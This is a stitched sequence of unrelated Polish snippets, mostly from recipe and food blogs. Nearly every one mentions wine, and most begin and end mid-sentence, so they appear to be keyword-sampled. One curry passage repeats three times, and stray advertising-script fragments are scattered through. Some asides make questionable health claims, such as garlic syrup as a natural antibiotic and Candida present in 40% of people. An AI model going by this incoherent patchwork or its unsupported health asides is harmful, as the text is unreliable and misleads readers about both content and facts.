Arabica - zadowolą zarówno klienta wpadającego na obiadową "przegryzkę" jak i kawosza zainteresowanego słodkim podwieczorkiem. Co do trunków - warto skosztować szerokiej oferty ekologicznych herbat , domowej lemoniady , lokalnego piwa , czy wina. To co ich wyróżnia na tle innych miejsc o podobnym charakterze, to sprzedaż asortymentu z własnej piekarni MAMY WYPIEKI - zwłaszcza pieczywo na zakwasie ,a le także inne domowe produkty typu

wchłonięcia płynu. 3 Kiedy kasza jest już miękka, dodajemy masło oraz parmezan. Mieszamy, doprawiamy solą i pieprzem. Podajemy. Porady Danie można przygotować tak jak klasyczne risotto, z użyciem białego wina. *wpis powstał we współpracy z marką The Green Woodpecker Trill.   Artykuł Kaszotto z podgrzybkami pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Książka “Jamie gotuje po włosku” – 69,99 zł Zestaw lnianych, ręcznie barwionych mat 2 szt – 80 zł Ekologiczna kawa – 79 zł Zestaw do grzanego wina – 55 zł Zestaw kamionkowych form do pieczenia – 79,99 zł Do 200 zł: Drewniana deska – ok. 139 zł Zestaw czekolad – 179 zł Termos

gustu ;) Kawałeczki dyni owinięte plasterkami boczku zapieczone w kremowym sosie serowym, do tego świeża bagietka, sa ł ata z sosem winegret, kieliszek białego  wina i mamy gotowe danie ;) polecam serdecznie :) **** La stagione delle zucche è ancora in corso, quindi non posso che proporre una ricetta in cui ad essere protagonista sarà proprio la zucca

czubate łyżki majonezu – 80g 2 czubate łyżki gęstej kwaśnej śmietany 18% (lub gęstego jogurtu naturalnego) – ok. 70g 1 łyżka soku z cytryny (lub octu winnego z białego wina) 1 mały ząbek czosnku 1 łyżka posiekanego szczypiorku 1 łyżka posiekanego koperku 1 łyżka posiekanej natki pietruszki sól i pieprz do smaku *szklanka o pojemności 250ml (adsbygoogle = window.adsbygoogle || []).push

nigdy ich nie robiłam. Zanim przystąpiłam do wykonania przeglądałam przepisy zamieszczone w internecie i jest ich naprawdę sporo. Część osób dodaje kawę albo miód albo wino albo chili... niektórzy dodają więcej masła a jeszcze inni zastępują część śmietanki serkiem mascarpone. Myślę, że następnym razem poeksperymentuję i ja jednak tym razem zrobiłam wszystko zgodnie

kurczaka około 350 g 3 różowe grejpfruty mix sałat w torebce (użyłam około pół paczki) 2 łyżki posiekanej czerwonej cebuli ocet winny z czerwonego wina sól, pieprz Wykonanie : Grejpfruty umyć, odciąć kawałek tak aby wydrążyć miąższ i pokroić  w kostkę (odcinając w miarę możliwości białe, gorzkie elementy). Wydrążone

bujcie!  Składniki na 4 porcje : • 4 żółtka (ogrzane do temperatury pokojowej) • 5 łyżek drobnego cukru (ok. 75 g) • 50 ml słodkiego wina Marsala (lub innego ulubionego słodkiego likieru np. Amaretto, Limoncello, ewentualnie rumu lub brandy) różne owoce: granat, pomarańcza, kiwi, mango, truskawki, borówki itp Wykonanie : Przygotować garnek

ciągu ostatniego tygodnia.  Nie uwierzycie ile potraw z niej przyrządziłam i na ile sposobów.  Więc tak. Uznałam, że super jest kapusta pekińska duszona z cebulą czerwoną w winie, z majerankiem i sosem sojowym. Świetna jest też posiekana drobno kapusta pekińska, szalotka, czosnek, tymianek, kasza jaglana, kurczak i posiekane marynowane grzybki. Część kapusty pekińskiej kisi się. Postanowiłam też

więc dla Was 3 pyszne przepisy na ten długi weekend - możecie zatem wypróbować wszystkie :)  Pieczona gęś nadziewana jabłkami z majerankiem KLIK! KLIK! Piersi z gęsi w czerwonym winie z gruszką i żurawiną KLIK! KLIK! Pierś z gęsi pieczona na jabłkach KLIK! KLIK! Który przepis podoba Wam się najbardziej ?  Dajcie znać w komentarzach :)  Zapraszam do polubienia mojej

piżmowej 2 duże garści szpinaku typu baby 100 g sera feta 1 łyżka siemienia lnianego 1 mała szalotka lub 1/2 większej mały ząbek czosnku 1 łyżka octu z białego wina 1 łyżka soku z cytryny 1 łyżka miodu od 100 - 200 ml oleju słonecznikowego Sałatka ze szpinakiem i pieczoną dynią wykonanie: Wydrążamy dynię, kładziemy na blaszce, skrapiamy oliwą

czerwonych:) Bardzo aromatyczna,smaczna . Gorącą możemy nałożyć do słoików i przechowywać dłużej. Składniki 400 g czerwonej cebuli 40 g cukru brązowego 80 ml octu balsamicznego 80 ml wytrawnego czerwonego wina( intensywnie czewrwone najlepiej dodać) 3 łyżki miodu 2-3 … Czytaj dalej Konfitura z czerwonej cebuli

pigwowej którą wysmażyłam mi tyle wyszło wierzch: 50 g mascarpone 200 ml śmietany 30 % 1 łyżka cukru pudru dekoracja: 1 granat 2 pigwy kawałki w karmelu nasączenie: 125 ml wina białego 1 cytryna 60 ml wody obręcz z czekolady: 80 g czekolady białej 80 g czekolady gorzkiej Biszkopt: Białka o temperaturze pokojowej ubijam na sztywno, ale nie przebijam

skrywa jej mięso. Na blogu znajdziecie też inne przepisy na kaczkę: pierś z kaczki z jabłkami według Okrasy pieczona kaczka z kaszą gryczaną i jabłkami pierś z kaczki w winie i żurawinie Dlaczego warto jeść kacze mięso? Jeden z mitów mówi, że mięso kacze jest bardzo tłuste i w związku z tym szkodliwe dla naszego organizmu. Faktycznie mięso kaczki

prawdopodobnie to najstarszy znany w Europie owoc uprawiany przez człowieka. Ma właściwości regulujące pracę jelit i była używana w medycynie ludowej od tysiącleci. Robi się z niej dżemy, nalewki, wina, ale też pyszne smoothie

przesuszają, dodajemy więcej oliwy z oliwek. Smażymy do miękkości. Dodajemy pomidory z puszki, które uprzednio lekko rozgniatamy widelcem. Wlewamy bulion, dodajemy nasze klopsiki. Doprawiamy 1 łyżką octu z białego wina, solą pieprze, ostrą słodką papryką, majerankiem. Smażymy aż sos zgęstnieje. Można go również zagęścić mąką. Smacznego! (adsbygoogle = window.adsbygoogle || []).push

masła do podsmażenia cebuli 2 łyżki masła jako dodatek do pasztetu 50g masła + kilka listków natki pietruszki – jako ‘pierzynka’ pasztetu 4 łyżeczki octu winnego z czerwonego wina przyprawy: 1 płaska łyżeczka majeranku, tymianku i słodkiej papryki sól i pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Domowy pasztet drobiowy z wątróbką – Wykonanie: Wątróbkę oczyścić z błon

widzę, że temat Was bardzo zainteresował. Większość z nas rzuca się na słodycze kilka dni przed okresem. jest to spowodowane zmianami hormonalnymi. Usprawiedliwiamy się wtedy, prawda?! Nie nasza wina! Jednak chciałam Was uprzedzić. Cukier jest ubóstwiany przez Candida Albicans, który jak twierdzą lekarze, występuje u 40% społeczeństwa. Jest to grzyb, który występuje w przewodzie pokarmowym. Jest odpowiedzialny za zmęczenie

Bakłażan a’la pizza to danie, które możecie przygotować na przyjęcie w gronie przyjaciół. Doskonale pasuje do piwa oraz wina. Bakłażan w tej wersji jest lżejszy niż tradycyjna pizza, ale również jego przygotowanie nie zabiera dużo czasu – tak naprawdę potrzebujesz 20 minut. Jego zaletą jest również niskokaloryczność – fakt ser i pesto nie są bardzo dietetycznymi produktami

czasie. Siekam czosnek i szalotkę, smażę na oleju i odrobinie masła. Dodaję ryż i smażę jeszcze minutę lub dwie. Generalnie jak zmieni kolor ze szklistego na biały to wlewam wino i redukuję jego ilość o połowę przynajmniej. Wlewam bulion porcjami i gotuję około 17- 20 minut ryż dolewając płynu kiedy zaczyna go brakować. Po około 12- 15 minutach próbuję

Przepis pochodzi z bloga Halfbakedhaervest. Składniki: 2 małe dynie makaronowe 500 g mielonego indyka Kilka plastrów wędzonego boczku drobno posiekanego 1 puszka passaty pomidrowej ½ szklanki mleka 1/2 szklanki wytrawnego wina (opcjonalnie) 1 mała cebula drobno posiekana 1 ząbek czosnku drobno posiekany 1 liść laurowy ½ łyżeczki suszonego tymianku ½ łyżeczki suszonego oregano Mała garść posiekanej świeżej bazylii Kulka mozzarelli 1 szklanka

smakowało mojej rodzince , może także Twoją zachwyci , jeśli tak to misja wykonana . Bo nie ma na świecie nic tak dobrego jak brzuszek pełny pysznościami..no może jeszcze ..sex i wino ; Ale to już dla 18 + Składniki : 0,6 kg szynki wieprzowej 8-9 pieczarek 1 marchewka kawałek selera korzeniowego 1 cebula 2 świeże papryczki chilli 3 łyżki startego żółtego

chwila w piekarniku i mamy pyszne danie. Zachęcam do przetestowania bo warto. Idealnie nada się na obiad dla całej rodziny albo na kolację z ukochana osobą z lampka dobrego wina. Składniki: - opakowanie ciasta francuskiego - 2 średnie pory - 1 cebula - 300 g boczku  - 200ml mleka - 200ml śmietany - 3 jajka - odrobina ulubionego sera - sól, pieprz do smaku Na patelni przesmażamy

garść pomidorków koktajlowych 3 świeże figi świeżo mielony pieprz sól Dressing: 3 łyżki konfitury z żurawiny 1 łyżka soku z cytryny 2 łyżki oliwy/oleju 1 łyżka octu z czerwonego wina 1 łyżeczka miodu Zaczynamy od oczyszczenia wątróbki. Następnie smażymy ją na łyżce oleju, pod koniec solimy. Gotową odstawiamy do przestudzenia. Warzywa myjemy. Następnie kroimy sałatę i wrzucamy

Składniki: 30 dkg filetów z ulubionej ryby 20 dkg pieczarek 1/2 pora 2 łyżki posiekanego koperku 1/2 szklanki białego wina 1/2 szklanki mleka 1 łyżeczka mąki ziemniaczanej przyprawa do ryb … Czytaj dalej Ryba w lekkim sosie koperkowym

obłędnie smakuje. Zaskoczycie tym daniem nie jedno podniebienie:) Składniki 4 małe piersi z kurczaka posolone i posypane pieprzem 250 g pokrojonych w plasterki pieczarek 150 ml białego wytrawnego wina puszka pomidorów bez skóry 4 plastry szynki dojrzewającej słoiczek zielonych oliwek wydrylowanych ( 200g ) 1 cebula posiekana 4 … Czytaj dalej Filety drobiowe po włosku

elegancką kolację albo na wytworny obiad podany na tarasie jesiennym? Mamy dla Was coś odpowiedniego. Schab w sosie pieczarkowym. Ta potrawa zadowoli smakoszy mięsa. Warto do niej podać lampkę wina. Na koniec jesienny deser z jabłkiem czy gruszką jako motywem przewodnim, i mamy przepis na doskonałe spotkanie kulinarne. Październikowe urodziny, imieniny czy rocznicę ślubu można świętować w ten właśnie

wypływał z niego nadmiar soków, które gwarantują jego doskonały smak. W takim razie proponuję odczekać około 15 minut, po czym pokroić je tasakiem i podać w towarzystwie czerwonego wina. Pyszności! Wioleta Gargula

poprawia jej smak i zapach. Owoce pigwowca zawierają dużo pektyn i można z nich zrobić pyszne przetwory: dżemy, konfitury, powidła, marmolady, galaretki, soki. Owoce wykorzystywane są również do przygotowania wina i nalewek, a po ugotowaniu może stanowić dodatek do dań mięsnych, a szczególnie dziczyzny. Pigwowiec ma piękny świeży zapach i położony na parapecie w kuchni długo cieszy swoim orzeźwiającym

oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu. Sposób serwowania: z ryżu tworzymy „wianuszek”. Na środek nakładamy curry, a następnie ozdabiamy warzywami. Fajnie smakuje z lekkimi różowymi winami Bon appetit

Wspaniały pomysł dla każdej zakochanej kobiety. I tu uwaga do Panów – nie musicie wymyślać czy zamawiać jakiś wykwintnych potraw. Wystarczy coś prostego, zadanie o nastrój i lampka ulubionego wina. Sam fakt, że przygotowaliście coś specjalnie dla nas będzie największą niespodzianką i najlepszym prezentem. Dziś skończę na tym 7 punktach, choć lista powinna być o wiele dłuższa. Może

cukrem pudrem, sernik ozdabiamy dopiero po przestudzeniu.  Poza tym producent informuje, że zaletą suszonych winogron jest obecność znacznej ilości antyoksydantów, dlatego te brązowe owoce są doskonałym zamiennikiem czerwonego wina dla osób, które nie powinny spożywać alkoholu. Połączenie błonnika pokarmowego i kwasu winowego,  z których ten ostatni zawarty jest w tak dużej ilości tylko w rodzynkach i winogronach

gronie bliskich nam osób. Deska serów z bakaliami komponuje się wręcz idealnie! Suszone owoce HELIO podkręcają smak ostrzejszych serów, łagodzą je, współgrają, tworzą duet, który popijany dobrym czerwonym winem tworzy cudny, rodzinny i ciepły nastrój. Smak imprezy jest wspaniały! Wspólne biesiadowanie, celebrowanie każdej z chwil przy dobrym jedzeniu w dobrym towarzystwie to sukces na każdej imprezie Deska serów to rozmaitości(...)chcesz, sam wybierasz dodatki, łączysz je, komponujesz swój talerz. Deska serów z suszonymi owocami HELIO wzbogacą każdą deskę i imprezę! Deska serów wspaniale smakuje z czerwonym półwytrawnym lub wytrawnym winem, whiskey z lodem też się zdarzyło. Ważne, żeby popijać tym co wspaniale podkreśla smak serów, wędlin, past. Suszone owoce dopełniają deskę, każdy ich kęs przypomina o słodkości, której nie może

Umytą rukolę układamy na talerzu, dodajemy pokrojone na połowy pomidorki koktajlowe, usmażonego kurczaka i pokrojone w plasterki lub ćwiartki figi.  Sos: łyżeczka miodu 3 łyżki octu z białego wina 3 łyżki wody 3 łyżki oliwy z oliwek zioła prowansalskie sól, pieprz Wszystkie składniki mieszamy ze sobą i polewamy sałatkę tuż przed podaniem

jest marynata. Dlatego wybrałem jako główny składnik Musztardę Kielecką Starofrancuską (LINK) . Jest to grubo mielona musztarda o dość ostrym, ziołowym smaku, przygotowana na bazie aromatycznego, białego wina. Jako baza smakowa sprawdziła się super. Dzięki niej polędwiczka marynowana w musztardzie z sosem paprykowym skruszała i w krótkim czasie przeszła cudownym aromatem gorczycy

minut. Dodatki: sałata radicchio grillowany bakłażan ser z niebieską pleśnią czerwona cebula żółta papryka uduszona na patelni z solą fioletowe winogrona figa (opcjonalnie) do polania ocet balsamiczny z czerwonego wina

Słoik winogronowej galaretki gotowy na zimę Winogrona to owoce, które można spożywać na wiele sposobów. Oczywiście pyszne są na surowo, można z nich zrobić wino lub ocet winny. Oczywiście z winogron można przygotować sok na zimę, ale także galaretkę. Taka winogronowa galaretka świetnie sprawdzi się w wypiekach i deserach jako słodko-kwaśny dodatek do tortów, ciasteczek i pierników

cierpliwości. Więcej siły. Życzę sobie. Bo nikt nie jest niezniszczalny. Takie gruszki to świetna propozycja na niebanalną przystawkę czy kolację, jeśli wzbogacimy je dodatkowo o sałatkę czy kieliszek dobrego wina. Sezon na gruszki w pełni, może ktoś z Was się skusi na takie połączenie? Zapewniam, że jest wyborne :)   Składniki na 2 porcje: 3 lekko twarde gruszki około

suszone śliwki 1 pierniczek – toruńskie serca Kopernik szczypta mielonej papryki sól, pieprz Sos: 1/2 szkl. bulionu 4-5 łyżek powideł śliwkowych 1/2 – 1 łyżki octu z czerwonego wina   Śliwki kroimy na mniejsze części. Orzechy siekamy. Pierniczkowe serce trzemy na tarce na drobno. Wszystkie składniki mieszamy ze sobą. Umyte, osuszone ręcznikiem papierowym piersi kurczaka nacinamy

Spożywanie posiłków na książęcym dworze w dzień powszedni było jednak znacznie skromniejsze. Zazwyczaj korzystano z kilku podstawowych elementów zastawy: metalowej misy i podkładki lub talerza, noża do nabijania, łyżki. Wino i piwo podawano w cynowych kuflach lub dzbanach i nalewano je do pucharów, ewentualnie szklanych kielichów. Do niezbędnych akcesoriów należała solniczka i inne naczynia z przyprawami. W ten sposób

wersję grzanek z serem pleśniowym, figami i rukolą. Całość smakuje po prostu obłędnie! Słodka figa przełamuje charakterystyczny smak sera oraz lekko orzechowej rukoli.  Podaj do nich białe wytrawne wino, a jestem pewna, że tą kolacją zdobędziesz serce i podniebienie swojego partnera. W dodatku przygotujesz ją w kilka chwil z czasem pieczenia.  Składniki na 1 porcję: 2 kromki

Składniki: 300 g ryżu do risotto 200 g kurek 1 duży pomidor 1 duża cebula 2 szklanki bulionu 3/4 szklanki białego wina 40 g startego parmezanu 1 łyżka posiekanej natki … Czytaj dalej Risotto z kurkami

Inna odmiana dorsza. Składniki 250 g filetu z dorsza ze skórą 300 g różnokolorowych pomidorków koktajlowych sól morska pieprz ocet z czerwonego wina garść liści bazylii 100 g chorizzo garść czarnych oliwek bez pestek Przygotowanie Na rozgrzanej patelni z małą ilością oliwy usmażyłem dorsza skórką od dołu , smażyłem, aż skórka się zezłościła. Obróciłem, smażyłem ok. 6 min. , odsunąłem

rolady już przed wstawieniem formy do piekarnika i pilnować tego. U w a g i: * Cream of Tartar to środek naturalny, będący produktem ubocznym procesu fermentacji winogron przy produkcji wina. Używany przy ubijaniu białek nadaje objętości i sztywności ubitej pianie oraz utrwala jej konsystencję. Stosowany jest także przy przygotowywaniu gładkiego lukru, ponieważ zapobiega krystalizacji cukru. Jako naturalny spulchniacz nadaje

innego kolorowego alkoholu: jarzębiaka, trojanki, brandy lub whisky. Kto nie lubi mocnych alkoholi (w sosie zostanie tylko smak, ale komuś może przeszkadzać nawet on), niech sięgnie po mocne, czerwone wino. Przepis pochodzi z serwisu Seriouseats . Składniki: 2 steki wołowe Duża garść tłuczonego pieprzu (lub mniej, według uznania) Sól 2 łyżki oleju Sos Kubek śmietany 250 ml (im bardziej procentowa

sojowego 1/4 szklanki wody 2-3 łyżki oleju sezamowego (w ostateczności można zastąpić olejem o neutralnym smaku) 1 lub 2 łyżki stołowe przyprawy mirin (tzw. słodka sake lub japońskie wino do gotowania) pół łyżeczki mielonej ostrej papryki pół łyżeczki mielonej słodkiej papryki pół łyżeczki mielonego czarnego pieprzu Przygotowanie marynaty Wszystkie składniki wymieszać ze sobą.  Uwaga:   Składniki takie

produkowaną przez formę TRS i wiele indyjskich przypraw można kupić w sklepie " Kuchnie Świata " Do podania makaron spaghetti  starty na tarce parmezan  a do tego oczywiście włoskie wino - może być nawet... bezalkoholowe :)  Sos mięsny do makaronu - przygotowanie Na dużym ogniu, na 1-2 łyżkach oleju podsmażam mięso do chwili, aż woda odparuje, a wołowina zacznie przybierać

ziarna kolendry lub kawy, albo pijąc mleko. Podobny efekt uzyskamy poprzez ssanie cukierków mentolowych lub goździkowych. W Prowansji (Francja) jako skuteczne antidotum na zapach czosnku poleca się picie czerwonego wina i jedzenie sera. Domowy syrop z czosnku   Domowy syrop z czosnku - naturalny antybiotyk, który każdy może przygotować.  W 1971 roku w jednym ze zburzonych klasztorów tybetańskich znaleziono

ciasta francuskiego z suszoną śliwką na wierzchu są bardziej ozdobą, aniżeli deserem. Napój zwany "glogg" zastępuje nasz kompot z suszu - to mieszanka soku z czarnej porzeczki, " odrobiny " czerwonego wina, miodu, przypraw (cynamon, goździki, imbir), skórka pomarańczowa oraz migdały i rodzynki dodawane na koniec. W wersji dla dorosłych glogg jest dodatkowo "wzmocniony". Finlandia słynie również z ryb, zapewne nie brakuje

wówczas bogatszego smaku i doskonale komponuje się z  suszonymi pomidorami marynowanymi w oliwie , oliwkami (np. czarnymi odmiany kalamata ) lub ciemnymi winogronami. Ten ser najlepiej komponuje się z jasnoczerwonym winem, takim jak Beaujolais, Chenin Blanc, St Emilion, St Estephe. Camembert je się łyżką

naszego sukcesu. To dzięki nim grillowane potrawy mają tak wyśmienity smak i aromat. Ich podstawowymi składnikami są olej , który natłuszcza mięso, kwaśny składnik (ocet, sok z cytryny, jogurt lub wino), który powoduje ścięcie białka i nadaję miękkość,  oraz zioła i przyprawy (np. papryka, chili, miód, czosnek, cebula, cynamon, imbir, goździki, kozieradka, rozmaryn, lubczyk, tymianek lub inne). Delikatne mięso

kilka, a nawet kilkanaście godzin przed pieczeniem, wołowinę można zamarynować,W skład marynaty oprócz oleju, ziół i ulubionych przypraw, powinien wchodzić także kwaśny składnik (np. sok z cytryny, ocet, wino), który powoduje kruszenie mięsa. Wołowina dobrze komponuje się z rozmarynem, tymiankiem, kminem rzymskim, natką kolendry i pietruszki, estragonem, szałwią i miętą. Do marynat i potraw z mięsa wołowego możemy

Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak chciałabym Wam podać wariant wzbogacony o mirin, rodzaj wina ryżowego stosowanego w kuchni japońskiej. Bardzo dobrt, gotowy sos lub marynatę teriyaki można kupić w sklepie internetowym Kuchnie Świata . Tam też dostępny jest mirin i olej sezamowy Kurczak

errina to chyba jeden z moich ulubionych deserów. Soczyste letnie owoce zanurzone w lekko winnej galaretce. To proste, szybkie i pyszne zarazem! Terrinę najczęściej przygotowuję na białym winie, jednak tym razem postanowiłem wykorzystać cydr jabłkowy. Najlepiej wybrać ten słodki, wtedy galaretka nie będzie wymagała dodatku cukru. Wystarczy słodycz cydru i owoców. Tę terrinę polecam przygotować na zakończenie lata. Dzięki

wędlin, mięsa. Kolejny pomysł to sos do mięsa na ostro. Zostanie wykorzystany jako dodatek do kanapek, wędlin, mięsa. Sos z jabłek na ostro 5 jabłek 100 ml białego wytrawnego wina kawałek (tak 2 cm) świeżego imbiru 1 czerwona papryka 5 goździków garść śliwek suszonych 2 cebule 3 ziela angielskie 1 łyżeczka mielonej kolendry kawałeczek (nie za duży) papryczki habanero

dolać trochę więcej soku z pomarańczy. W razie potrzeby dosłodzić miodem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Pieczone figi z orzechami włoskimi i sosem z czerwonego wina → Tarta z ajerkoniakiem i figami → Hummus → Deser orzechowo-karmelowy

ziemniaki nakrajane – ziemniaki w mundurkach – kotlet schabowy – ragu z kaczki – szaszłyki z kurczaka w sosie miodowo-musztardowym – polędwiczki z kurkami – królik w winie – polędwiczki z szynk parmeńską – żeberka barbeue – pulled pork – kotlet de volailee – kurczak na butelce piwa Ziemniaki zapiekane ze śmietaną – gratin ziemniaczane Przygotowanie

Pierwszy raz piekłam ciasto w nocy. Do tego, pierwszy raz robiłam ciasto przy świecach. Nie planowałam „romantycznie, przy świetle księżyca i winie”, ale mała awaria światła w kuchni rzuciła mi wyzwanie – trzeba robić sernik przy gromnicy. Z pomocą przyszła mi druga para rąk, dzięki której uwinęłam się jeszcze przed północą. Mimo braku pełnego oświetlenia […] Artykuł

potrzeba pewnie ze 40 minut Na tłuszczu ze smażenia zrumienić trochę mąki, robiąć zasmażkę, podlać ciepłą wodą, dokładnie wymieszać, powstały sos soląc i pieprząc do smaku. Dodać kieliszek białego wina i troche odparować. Mięso powinno być tak miękkie, żeby dało się oddzielać bez krojenia. Na talerzu polać sosem

pojawiły się w sklepach, a które tak bardzo uwielbiam! Zresztą bagietka, ser i figa to jedno z moich ulubionych połączeń, nadaje się na śniadanie jak i na kolację do wina. Dla bardziej wybrednych wystarczy zabrać ze sobą dojrzałe awokado, które z chrupiącym pieczywem smakuje rewelacyjnie. Jak już jesteśmy w tym sadzie to warto się rozejrzeć i zerwać kilka gruszek

makaronu Farfalle Arcobaleno Rainbow Bowties Notes - pamiętajmy, aby do dania użyć szerokiego makaronu np. pappardelle, aby sos dokładnie go oblepił, a nie pozostał na dnie talerza - danie świetnie uzupełni wino ze szczepu pinot noir czy cabernet franc - łosoś bałtycki czy atlantycki jest gatunkiem zagrożonym. Warto więc wybrać łososia pacyficznego, którego populacja nie jest zagrożona wyginięciem i posiada certyfikat

cebuli, pokrojonej w drobną kostkę 1 ząbek czosnku, drobno posiekany 3/4 szklanki ketchupu 1 łyżeczka mielonego chilli 2 łyżki wody 1 łyżka brązowego cukru 1/2 łyżki octu z białego wina 1 łyżeczka sosu sojowego 1 łyżeczka musztardy sól i pieprz do smaku 8 kromek chleba tostowego lub innego ulubionego 4 łyżki miękkiego masła 1 opakowanie Hochland BURGER & TOAST

dowolny: marchew, pietruszka, seler, groszek, cebula i mięso, lub w wersji wegetariańskiej cieciorka, soczewica. Całość powinna się dusić na wolnym ogniu do miękkości. Do warzyw dobrze jest dodać szklankę wina, albo dobrego portera, najlepiej stauta, który dodaje sosowi przyjemnej słodyczy. My dzisiaj proponujemy Wam wegetariańską wersję zapiekanki, która naszym zdaniem jest lepsza niż wersja mięsna. Charakteru sosowi nadaje cieciorka

flambée jak na proste, wiejskie jedzenie przystało jest tłusta, kaloryczna i bardzo smaczna ;) Można ją podawać na ciepło, ale na zimno będzie również znakomitą przekąską, szczególnie do piwa lub wina. Składniki na s pód tarty: 200 ml letniej wody ( lub nieco więcej w zależności od chłonności mąki) 300 g mąki typ 750 1/3 łyżeczki soli 5 g świeżych drożdży

pyszna przekąska , bardzo popularna w Indiach. Robi się ją z różnych warzyw najczęściej z cebuli lub kalafiora . Chrupiące , rozkosznie aromatyczne ciasteczka . Doskonale nadają się zamiast chipsów, do piwa , wina , przed telewizorem . Mogą być także wyśmienitym dodatkiem do grilla czy obiadu . Pakora , to jedna z najlepszych rzeczy , jakie znalazłam w kuchni indyjskiej . Polecam , szczególnie dzieciom przypadają do gustu Składniki

Bakery. Fábrica Coffee Roasters Fábrica Coffee Roaster s to zdecydowanie najlepsza kawiarnia i palarnia w Lizbonie. Mają tutaj szeroki wybór ziaren, sposobów parzenia, a także kraftowe piwa, wino, kanapki i ciasta. Ze względu na dobrą lokalizację często wpadałem tutaj na kawę podczas zwiedzania. Dodatkowo fajnie urządzone wnętrze i obsługa składająca się z kawowych freaków czynią to miejsce wyjątkowym. Polecam

ciągu wielu lat przygotowywania ogórków według tego przepisu, chyba tylko raz zdarzyło mi się, że się nie udały (wyszły przysłowiowe kapcie), ale jestem przekonana, że była to wina ogórków a nie metody!  składniki (ok 12 - 13 słoików 0,9 l) 5 kg ogórków 2 główki czosnku - po 3-4 ząbki na słoik 2- 3 duże pęki kopru

rodziny. Trzeba było je jakoś zagospodarować. Zrobiliśmy to na trzy sposoby. To drugi z nich. Składniki 1,5 kg gruszek 300 g cukru 3 szklanki octu z białego wina 1 cytryna 4 listki laurowe 2 łyżeczki ziarenek gorczycy 1 łyżeczka goździków Przygotowanie Gruszki obrałem, przekroiłem na pół, usunąłem gniazda nasienne, miąższ owoców pokroiłem na cząstki. W rondlu zagotowałem ocet

talerze wyjmij ziemniaki i rozgnieć je delikatnie widelcem, ułóż nań macki i skrop całość obficie cudownie aromatyczną oliwą z naczynia. Polvo à lagareiro podawaj z lampką białego wytrawnego wina i ciesz się smakiem Portugalii

mąki do masy, żeby ją zagęścić). Pastéis de bacalhau są przepyszne. Chrupiące zewnątrz i puszyste, wręcz rozpływające się w ustach wewnątrz. Cudownie smakują z lampką portugalskiego vinho verde (zielonego wina). Wprost nie można im się oprzeć! Oryginalnie krokietów z dorsza nie obtacza się ich w bułce tartej, ale według mnie tak smakują lepiej i łatwiej je się smaży. Najlepsze

fasolkę trwa w najlepsze. Moim ulubionym sposobem na tempurę jest najprostsze ciasto z mąki, wody gazowanej i soli. W Portugalii można się spotkać również z wersją przygotowaną na winie lub piwie. Jednak według mnie ta tempura wychodzi znacznie bardziej chrupiąca. Oprócz fasolki, w podobny sposób, możemy usmażyć inne warzywa: cukinię, dynię, czy paprykę. Ważne jest jednak, żeby warzywa były

Składniki: 50 dkg udźca cielęcego 100 g boczku 1 cebula 1/2 szklanki białego wina 1/2 szklanki bulionu 1/2 szklanki kremówki 3 łyżki musztardy dijon 2 łyżki masła 2 łyżki oleju … Czytaj dalej Cielęcina dijon

Wiśnie, które pozostaną po przygotowaniu nalewki wiśniowej z rumem można ponownie zasypać cukrem i wykorzystać do deserów i ciast. Wiśniak na rumie, nalewka wiśniowa i wiśniówka są jak dobre wino - im dłużej leżakują tym lepsze. Wiśniak na rumie - składniki 2 kg ciemnych wiśni sokowych 1 litr spirytusu 0,5 litra ciemnego rumu 0,5 litra wody 500 g cukru

Negroni to zaraz po Aperol Spritz drugi co do popularności włoski drink. Wywodzi się ona z Florencji i jest robiony na bazie ginu oraz wermutu. Dzięki

potrawy :) Bruschetty z pomidorami możecie wykorzystać jako szybką przystawkę na spotkanie ze znajomymi, albo lekką kolację. Nie będę ukrywał, że idealnie do nich będzie pasowało wytrawne, albo półwytrawne czerwone wino. Poniżej znajdziecie listę składników oraz przepis… Składniki bagietka 2 dojrzałe pomidory garść świeżej bazylii 3-4 łyżki oliwy sól pieprz Bruschetta – przepis Bagietkę kroimy w kromki

Ciasto bardzo mocno czekoladowe, gorzkie od czekolady i naturalnego kakao, to takie brownie dla wytrawnego podniebienia jak dla smakoszy wytrawnego wina. Ja w nim uwielbiam delikatność malin, jest najlepsze na świecie... Przepis podaję na dużą blaszkę 35x22 cm. Składniki: - 30 dag malin lub więcej tak, żeby wypełnić całą górę ciasta - 20 dag dobrego masła - 35 dag dobrej gorzkiej czekolady

czyli swojski 'Jasio') 1/2 średniej, czerwonej cebuli 2 łyżki posiekane natki pietruszki garść (jakieś 8 sztuk) pomidorków koktajlowych, pokrojonych na połówki przyprawa sumak sos: 3 łyżki octu z czerwonego wina 5 łyżek oliwy extra virgin mały zabek czosnku, przeciśnięty przez praskę, starty na tarce, lub bardzo drobniutko posiekany sól i pieprz, do smaku Przygotuj sos - w zamykanym słoiczku

oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu. Sposób serwowania: z ryżu tworzymy „wianuszek”. Na środek nakładamy curry, a następnie ozdabiamy warzywami. Fajnie smakuje z lekkimi różowymi winami Bon appetit

oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu. Sposób serwowania: z ryżu tworzymy „wianuszek”. Na środek nakładamy curry, a następnie ozdabiamy warzywami. Fajnie smakuje z lekkimi różowymi winami Bon appetit! Artykuł Curry z boczniakami pochodzi z serwisu Kate's Kitchen

kuchni nawet przy najprostszych przepisach Zapraszam Was do przepisu na ekspresową domową Ice Tea! Zobacz też: Lemoniada chia fresca – naturalny izotonik Orzeźwiające mojito Owocowe koktajle na bazie różowego wina 10 pysznych przepisów na zdrowe koktajle Przepis na domową herbatę czyli Ice Tea Drukuj przepis Porcji: 1 litr Czas gotowania: 20 minut Składniki 0, 25 szklanki wrzątku 0, 75 wody

był bardziej jako przyprawa do sera, ale już wtedy uznano, że ich słodycz doskonale przełamuje słony smak sera. Dzisiaj nawet zwykłe spotkanie towarzyskie bardzo często opiera się na dobrym winie i desce serów w towarzystwie winogron, fig, gruszek. Do niedawna być może, przez wiele osób taki zestaw uchodził za rarytas, za coś z wyższej półki. Teraz

